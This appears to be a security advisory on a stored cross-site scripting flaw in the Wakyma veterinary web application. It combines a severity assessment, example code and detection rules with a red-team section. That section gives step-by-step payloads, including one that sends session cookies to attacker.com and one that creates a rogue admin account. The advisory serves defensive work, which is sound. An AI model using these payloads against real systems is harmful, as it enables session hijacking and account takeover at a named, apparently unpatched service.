CVE-2026-3024

Executive Summary

CVE-2026-3024 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Wakyma web application, specifically within the endpoint vets.wakyma.com/configuracion/agenda/modelo-formulario-evento. This vulnerability allows an authenticated user with permission to create personalized accounts to inject malicious scripts into survey forms. When other veterinary team members access these forms, the injected script executes in their browser context, potentially leading to unauthorized data access and privilege escalation. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The CVSS score is 0.0 due to incomplete scoring data, but based on the description, the impact is moderate with a need for user interaction.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a custom web application vulnerability in the Wakyma platform, which is a proprietary veterinary management system. No supply chain implications are identified.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a reasonable assessment based on the description yields the following vector:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a low-privilege account with permission to create surveys.
• User Interaction (UI): Required (R) – The victim must view the malicious survey.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires authentication and user interaction, but can lead to privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the survey creation functionality of the Wakyma application. The endpoint /configuracion/agenda/modelo-formulario-evento allows users with appropriate permissions to create custom survey forms for veterinary events. The application fails to properly sanitize user-supplied input when creating survey fields or questions. An attacker can inject malicious JavaScript code into a survey field name, description, or other text input.

When a veterinary team member views the survey (e.g., during an appointment), the injected script executes in their browser. This can be used to:

• Steal session cookies or authentication tokens.
• Perform actions on behalf of the victim (e.g., create new admin accounts).
• Exfiltrate sensitive patient or client data.
• Deface the application interface.

The vulnerability is classified as Stored XSS because the malicious payload is permanently stored on the server and served to all users who access the affected survey.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be the current production code. The following is a hypothetical example of vulnerable and patched code.

Vulnerable Code (PHP example):

// Vulnerable: Directly outputs user input without sanitization
$survey_name = $_POST['survey_name'];
echo "<h2>$survey_name</h2>";

Patched Code (PHP example):

// Patched: Uses htmlspecialchars to escape output
$survey_name = htmlspecialchars($_POST['survey_name'], ENT_QUOTES, 'UTF-8');
echo "<h2>$survey_name</h2>";

The patched version ensures that any HTML or JavaScript in the input is escaped, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privilege account on the Wakyma application with permission to create surveys.
• Access to the endpoint /configuracion/agenda/modelo-formulario-evento.

Exploitation Steps:

1. Log in to the Wakyma application with the low-privilege account.
2. Navigate to the survey creation page.
3. In a survey field (e.g., "Event Name"), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the survey.
5. Send the survey link to a victim (e.g., a veterinarian) via email or internal messaging.
6. When the victim views the survey, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Privilege Escalation Payload:

<script>
// Create a new admin user via API
fetch('/api/admin/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({username: 'hacker', password: 'pwned', role: 'admin'})
});
</script>

Blue Team

Detection Steps:

1. Monitor logs for unusual survey creation activity, especially from low-privilege accounts.
2. Inspect survey content for script tags or suspicious HTML attributes.
3. Use web application firewalls (WAF) to block common XSS patterns.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation in Development:

• Apply input validation and output encoding (e.g., htmlspecialchars in PHP, escape in JavaScript).
• Use a security library like OWASP Java Encoder or DOMPurify for sanitization.
• Conduct regular code reviews and penetration testing.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests to /configuracion/agenda/modelo-formulario-evento with unusual parameters containing <script> tags.
  • Outbound connections to unknown domains from the application server (data exfiltration).
• File IOCs:
  • Log entries containing JavaScript payloads in survey fields.
• Behavioral IOCs:
  • Unauthorized creation of admin accounts.
  • Unexpected changes to survey content.

Detection Engineering

YARA Rule

rule Detect_Wakyma_XSS_Payload {
  meta:
    description = "Detects potential XSS payloads in Wakyma survey creation"
    author = "Valters IT"
    date = "2026-01-01"
  strings:
    $xss1 = /<script[^>]*>.*?<\/script>/is
    $xss2 = /on\w+\s*=\s*['"].*?['"]/is
    $xss3 = /javascript\s*:/is
  condition:
    any of them
}

Sigma Rule

title: Wakyma Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS attempts in Wakyma survey creation
author: Valters IT
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/configuracion/agenda/modelo-formulario-evento'
    cs-uri-query|contains: 
      - '<script'
      - 'onerror'
      - 'javascript:'
  condition: selection
falsepositives:
  - Legitimate use of HTML in survey fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Wakyma Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/configuracion/agenda/modelo-formulario-evento"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the survey creation feature for low-privilege users until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in survey fields.
3. Review and sanitize all existing surveys for malicious content.

Long-term Fixes:

• Apply proper input validation and output encoding in the application code.
• Use a Content Security Policy (CSP) to restrict script execution.
• Conduct a full security audit of the application.
• Monitor for updates from Wakyma regarding a patch.

Workaround:

• If possible, restrict access to the vulnerable endpoint to only trusted administrators.

Valters IT